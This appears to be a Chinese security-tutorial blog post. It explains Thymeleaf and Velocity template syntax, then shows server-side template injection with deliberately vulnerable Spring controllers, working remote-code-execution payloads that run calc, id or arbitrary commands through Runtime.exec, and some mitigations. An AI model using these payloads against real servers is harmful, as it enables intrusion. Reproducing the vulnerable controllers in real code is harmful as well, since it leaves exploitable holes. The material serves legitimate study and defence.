</tr>
</tbody>
</table>

Themeleaf 基础

Thymeleaf 提供了多种标准表达式包括:

大多数的 Thymeleaf 属性允许将值设置或包含简单表达式

  • 简单表达式:

    • Variable expressions(变量表达式) ${...}
    • Selection expressions(选择表达式) *{...}
    • Message (i18n) expressions(消息表达式)#{...}
    • Link (URL) expressions(链接表达式) @{...}
    • Fragment expressions(分段表达式) ~{...}
  • 字面量:

    • 文本: 'one text''Another one!' 等;
    • 数值:0、34、3.0、12.3 等;
    • 布尔:true、false
    • Null:null
    • Literal token(字面标记): one、sometext、 main 等
  • 文本操作:

    • 字符串拼接:+
    • 文本替换: |The name is ${name}|
  • 算术操作

    • 二元运算符:+-*/%
  • 布尔操作

    • 比较: ><=<=gtltgele
    • 等价: == ( eqne )
  • 条件运算符

    • If-then: (if) ? (then)
    • If-then-else: (if) ? (then) : (else)
    • Default: (value) ?: (defaultvalue)
  • 特殊标记

    • No-Operation(无操作): _

变量表达式

变量表达式 ${...}是在上下文变量(在Spring 术语中也称为模型属性)上执行的OGNL 表达式(如果您正在Thymeleaf 与Spring 集成,则为Spring EL)

形式如下:

1
${session.user.name}

可以在属性值或其一部分中找到它们,具体取决于属性的类型:

1
<span th:text="${book.author.name}">

以上表达式在OGNL 和SpringEL 中等效于:

1
((Book)context.getVariable("book")).getAuthor().getName()

但我们可以在不仅涉及输出的情况下找到变量表达式,还包括更复杂的处理,例如条件语句、迭代等:

1
<li th:each="book : ${books}">

这里,${books} 从上下文中选择名为 books 的变量,并将其评估为可迭代的,以在 th:each 循环中使用。

选择表达式

选择表达式 *{...}与变量表达式非常相似,只是它们将在先前选择的对象上执行,而不是在
整个上下文变量映射上执行

形式如下:

1
*{customer.name}

它们所操作的对象由 th:object 属性指定:

1
2
3
4
5
<div th:object="${book}">
...
<span th:text="*{title}">...</span>
...
</div>

等同于:

1
2
3
4
5
6
{
// th:object="${book}"
final Book selection = (Book)context.getVariable("book");
// th:text="*{title}"
output(selection.getTitle());
}

消息表达式

消息表达式#{...}(通常称为文本外部化、国际化或i18n)允许我们从外部源(.properties 文件)检索特定于语言环境的消息,通过引用一个键并(可选)应用一组参数来引用它们。

在 Spring 应用程序中,这将自动与 Spring 的 MessageSource 机制集成

1
2
3
#{main.title}

#{message.entrycreated(${entryId})}

可以在模板中找到它们,如下所示:

1
2
3
4
5
6
<table>
...
<th th:text="#{header.address.city}">...</th>
<th th:text="#{header.address.country}">...</th>
...
</table>

可以在消息表达式中使用变量表达式,如果希望消息键由上下文变量的值确定,或者想将变量指定为参数。

例如:

1
#{${config.adminWelcomeKey}(${session.user.name})}

链接表达式

链接表达式 @{...}旨在构建URL 并向其添加有用的上下文和会话信息(通常称为URL 重写过程)

因此,对于部署在Web 服务器的/myapp 上下文中的Web 应用程序,例如:

1
<a th:href="@{/order/list}">...</a>

可以转换成

1
<a href="/myapp/order/list">...</a>

如果需要保持会话并且未启用 cookie(或者服务器尚未知道),则可以转换为以下内容:

1
<a href="/myapp/order/list;jsessionid=23fa31abd41ea093">...</a>

URL 还可以带参数:

1
<a th:href="@{/order/details(id=${orderId},type=${orderType})}">...</a>

结果如下所示:

在标签属性中应该对&符号进行 HTML 转义

1
<a href="/myapp/order/details?id=23&amp;type=online">...</a>

链接表达式可以是相对的,这种情况下不会添加应用程序上下文前缀到URL 中:

1
<a th:href="@{../documents/report}">...</a>

也可以是服务器相对的(同样没有应用程序上下文前缀):

1
<a th:href="@{~/contents/main}">...</a>

还可以是协议相对的(与绝对URL 类似,但浏览器将使用在显示页面时使用的HTTP 或HTTPS 协议):

1
<a th:href="@{//static.mycompany.com/res/initial}">...</a>

也可以是绝对的:

1
<a th:href="@{http://www.mycompany.com/main}">...</a>

分段表达式

3.x 版本后才有该表达式

分段段表达式 ~{...}是一种表示标记片段并将其移动到模板周围的简单方法

常见的用法是使用 th:insert 或 th:replace: 插入片段:

1
<div th:insert="~{commons :: main}">...</div>

同样在任何地方使用,就像任何其他变量一样,也可以有参数:

1
2
3
<div th:with="frag=~{footer :: #main/text()}">
<p th:insert="${frag}">
</div>

表达式预处理

参考:https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#preprocessing

除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能

预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式

预处理的表达式与普通表达式完全一样,但被双下划线符号( __${expression}__ )包围。

1
#{selection.__${sel.code}__}

变量表达式 ${sel.code} 将先被执行,假如结果是 “ALL” ,

那么_之间的值 “ALL” 将被看做表达式的一部分被执行,在这里会变成 selection.ALL

简单理解就是二次模板扫描

SpringBoot 整合Thymeleaf

新建Thymeleafdemo的springboot项目,选择Spring Web 和 Thymelef 依赖

src/main/resources/templates/ 创建一个index.html 文件,内容如下:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>SpringBoot 整合 Thymeleaf</title>
</head>
<body>
<span th:text="${data}"></span>
</body>
</html>

src/main/java/com/example/thymeleafdemo创建ThymeleafControllerJava 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.thymeleafdemo;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class ThymeleafController {
@RequestMapping("/")
public String index(Model model) {
model.addAttribute("data", "Hello Thymeleaf!");
return "index";
}
}

启动项目并访问

Thymeleaf 模板注入漏洞

Thymeleaf 3.0.0 至 3.0.11 版本存在模板注入漏洞。该漏洞在Thymeleaf 3.0.12 及以后版本已经得到修复,但还是存在一些 Bypass 的方式

该漏洞通常发送在使用动态输入来生成模板的情况下

在 Thymeleaf 中,可以使用表达式来动态设置模板的值

例如:

1
${user.name}   //将被替换为用户名

此时攻击者可以使用类似

1
${T(java.lang.Runtime).getRuntime().exec('calc')}

的表达式来执行任意系统命令

漏洞代码示例

项目来源:https://github.com/veracode-research/spring-view-manipulation/

以下漏洞主要核心其实就是控制了return 的值

1.选择模板:

src/main/java/com/veracode/research/HelloController.java第24,25行代码中

1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

应用场景比如说:国际化语言切换,定义 CN 模板和 EN 模板,通过修改 lang 的参数来实现中英文页面展示

但这里通过直接拼接路径名来实现模板的选择,从而造成模板注入,lang由web请求的参数值来决定,因此可以通过参入lang的参来实现攻击

1
2
3
4
5
//GET /path?lang=en HTTP/1.1
//GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

//url解码
//__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x

2.片段选择:

1
2
3
4
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}

这段代码是片段选择器存在模板注入问题,在 section 参数中传入攻击语句

在分段表达式中有一个 片段选择器 语法,用于选择模板中的某个片段或元素,并在页面中渲染该片段或元素。片段选择器通常以 th: 开头,例如th:fragment 或th:include 。 th:fragment 用于定义一个片段, th:include 用于在页面中包含一个片段

1
2
3
//GET /fragment?section=main

//GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x

3.拼接路径:

1
2
3
4
5
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

由于返回为空,所以视图名字会从 URI 中获取,并且接收了 document 的传参,可以键入以下攻击语句

1
http://127.0.0.1:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

Thymeleaf 模板注入漏洞修复

设置ResponseBody

1
2
3
4
5
@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
eturn "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

仅在原有的代码基础上添加一行@ResponseBody注解,使Spring将返回值作为响应体处理,而不再是视图名称,因此防御住了模板注入

但其实这样防御也失去了其原有的片段选择功能

其实在明确可选的片段只有header和main后,其实可以为其设置个白名单,仅允许传入的值为header或mian,其余值均返回指定响应值,不进入return拼接

设置重定向redirect

1
2
3
4
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //FP as redirects are not resolved as expressions
}

当视图名称以 redirect: 前缀开头时,Spring 不再使用 Spring ThymeleafView 解析,而是使用RedirectView 解析,该视图不会执行表达式

但这个示例存在 URL 跳转漏洞

设置response 响应

1
2
3
4
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}

由于控制器在参数中具有 HttpServletResponse,Spring 认为已经处理了HTTP 响应,因此视图名称解析就不会发生

这个检查存在于 ServletResponseMethodArgumentResolver 类中

Velocity

官网:https://velocity.apache.org/

漏洞限制:要求Velocity 版本小于等于 2.2

velocity 基础

模板页面

一个基础的 vtl 的模板文件页面如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
Hello $customer.Name!
<table>
#foreach( $mud in $mudsOnSpecial )
#if ( $customer.hasPurchased($mud) )
<tr>
<td>
$flogger.getPromo( $mud )
</td>
</tr>
#end
#end
</table>
</body>
</html>

模板语言 VTL

VTL 使用引用的方式将动态内容嵌入网站,变量是其中一种引用的类型,它可以引用 Java 代码中定义的内容,或者可以从网页中的 VTL 语句中获取其值。

例如:

1
#set( $a = "Velocity" )

和所有 VTL 语句一样,以 # 字符开头并包含一个指令,比如上面的 set

上面的示例中,变量是 $a ,值为 Velocity

这个变量,和所有引用一样,以$字符开头,字符串值始终用引号括起来,可以是单引号或双引号

变量

在 Velocity 模板语言中,变量使用 $ 符号来引用,例如 $variable_name

变量可以引用 Java 对象,Map 中的键值对,以及其他的数据类型

比如上面示例模板文件中的 $mud ,可以获取通过上下文以及后端传递获取 $mud 变量值

1
2
3
4
$foo
$mudSlinger
$mud_slinger
$mudSlinger1

方法

1
2
3
4
$customer.getAddress()
$purchase.getTotal()
$page.setTitle( "My Home Page" )
$person.setAttributes( ["Strange", "Weird", "Excited"] )

set 指令

#set 指令用于设置引用的值

一个值可以被赋给一个变量引用或一个属性引用,并且这发生在括号中

1
2
#set( $primate = "monkey" )
#set( $ .Behavior customer = $primate )

赋值语句的左侧必须是一个变量引用或一个属性引用

右侧可以是以下类型之一:

  • 变量引用
  • 字符串字面量
  • 属性引用
  • 方法引用
  • 数字字面量
  • ArrayList Map

例如:

1
2
3
4
5
6
7
#set( $monkey = $bill )                                            ## variable reference
#set( $monkey.Friend = "monica" ) ## string literal
#set( $monkey.Blame = $whitehouse.Leak ) ## property reference
#set( $monkey.Plan = $spindoctor.weave($web) ) ## method reference
#set( $monkey.Number = 123 ) ## number literal
#set( $monkey.Say = ["Not", $my, "fault"] ) ## ArrayList
#set( $monkey .Map = {"banana" : "good", "roast beef" : "bad"}) ##Map

set 指令攻击语句

**示例一: **

1
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

它定义了一个名为 $e 的变量并将其赋值为字符串 “e”

然后,该代码使用 Java 的反射机制,获取了运行时类 java.lang.Runtime ,调用了它的 getRuntime() 方法,并使用 exec() 方法执行了一个操作系统命令 “calc”

示例二:

1
2
3
4
5
6
7
8
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

首先,第一行定义了一个空字符串变量$x

接下来的三行代码通过反射获取了三个Java 类: java.lang.Runtime , java.lang.Character 和java.lang.String ,用于在运行时执行系统命令和操作字符串

接下来的一行代码使用 Java 反射机制执行了一个系统命令id

执行结果存储在变量$ex

然后通过调用 $ex.waitFor() 等待系统命令执行完毕

然后获取$ex 的输出流,并将其存储在变量$out

最后,使用一个foreach 循环来遍历$out 的所有可用字节,并将它们转换为字符输出

整段代码的效果是获取’id’命令的输出结果并将其作为字符串输出

示例三:

1
2
3
4
5
6
7
8
9
#set ($e = "exp")
#set ($a = $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null).exec($cmd))
#set ($input = $e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set ($sc = $e.getClass().forName("java.util.Scanner"))
#set ($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set ($scan = $constructor.newInstance($input).useDelimiter("\A"))
#if ($scan.hasNext())
$scan.next()
#end

创建变量 $e,, 并将其设置为字符串 “exp”
调用 Java 反射 API 来获取 Runtime 类的一个方法,并使用 exec 方法执行 $cmd 变量中存储的命令

保存命令的输出在变量 $input

使用 Java 反射 API 获取 Scanner 类和其构造函数,以及使用$input 变量创建 Scanner 对象

该对象的 useDelimiter 方法设置了输入流的分隔符

最后,代码检查 Scanner 对象是否有下一个输入,判断是否该输出

Velocity 模板注入漏洞

Velocity 模板注入漏洞即是 CVE-2020-13936:https://velocity.apache.org/news.html#CVE-2020-13936

并不是所有的Velocity 编写的程序都有可能出现模板注入问题,Velocity 小于等于 2.2 版本才存在模板注入

漏洞源码示例

https://github.com/nth347/Java-SSTI-demo/blob/master/src/main/java/nth347/javasstidemo/MainController.java

创建VelocityDemo的springboot项目,选择spring web依赖

再在pom引入有漏洞的Velocity版本

1
2
3
4
5
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
evaluate 触发

在 Velocity 模板引擎中, evaluate 方法用于将 Velocity 模板字符串与上下文数据进行组合并生成最终结果

evaluate 方法的基本语法如下:

1
public boolean evaluate(Writer writer, Context context, String logTag, String instring) throws ParseErrorException, MethodInvocationException,ResourceNotFoundException, IOException
  • writer :输出结果的写入器,用于将生成的结果写入到指定位置
  • context :上下文数据,即用于替换模板中占位符的数据
  • logTag :日志标签,用于在日志中区分不同的 evaluate 调用
  • instring :待处理的 Velocity 模板字符串
  • 该方法返回一个布尔值,表示是否成功执行了模板渲染

创建一个名为VelocityEvaluate 的 Java Class,并写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example.velocitydemo;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.StringWriter;

@Controller
public class VelocityEvaluate {
@RequestMapping("/velocity/evaluate")
@ResponseBody
public String velocity1(@RequestParam(defaultValue="hey") String username) {
String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("name", "hey hey hey");
ctx.put("phone", "012345678");
ctx.put("email", "hey@example.com");

StringWriter out = new StringWriter();
Velocity.evaluate(ctx, out, "test", templateString);

return out.toString();
}
}

payload:

1
http://127.0.0.1:8080/velocity/evaluate?username=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)

merge 触发

merge 方法用于将 Velocity 模板字符串与上下文数据进行组合并生成最终结果

1
public void merge(Template template, Context context, Writer writer) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException,IOException
  • template :待处理的 Velocity 模板
  • context :上下文数据,即用于替换模板中占位符的数据
  • writer :输出结果的写入器,用于将生成的结果写入到指定位置

可以新建名为VelocityMerge 的 Java Class,然后写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.example.velocitydemo;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.ParseException;
import org.apache.velocity.runtime.parser.node.SimpleNode;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.nio.file.Files;
import java.nio.file.Paths;

@Controller
public class VelocityMerge {
@RequestMapping("/velocity/merge")
@ResponseBody
public String velocity2(@RequestParam(defaultValue="hey") String username) throws IOException, ParseException {
// 假设可控路径
String templateString = new String(Files.readAllBytes(Paths.get("./eval.vm")));
templateString = templateString.replace("<USERNAME>", username);

StringReader reader = new StringReader(templateString);

VelocityContext ctx = new VelocityContext();
ctx.put("name", "hey hey hey");
ctx.put("phone", "012345678");
ctx.put("email", "hey@example.com");

StringWriter out = new StringWriter();
Template template = new Template();

RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();

template.merge(ctx, out);

return out.toString();
}
}

这里,代码中采用从指定路径(eval.vm)中读取模板,如果模板内容我们可控,就可以往其中加入攻击payload,再通过merge渲染触发该攻击

往eval.vm中添加:

1
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

之后访问:

1
http://127.0.0.1:8080/velocity/merge?username=1

成功触发该攻击

Velocity 模板注入漏洞修复

升级到 2.2 以上或最新版本:https://velocity.apache.org/download.cgi


Java安全 Web漏洞(下)
https://www.smal1.black/Java安全 Web漏洞(下).html
作者
Small Black
发布于
2024年12月21日
许可协议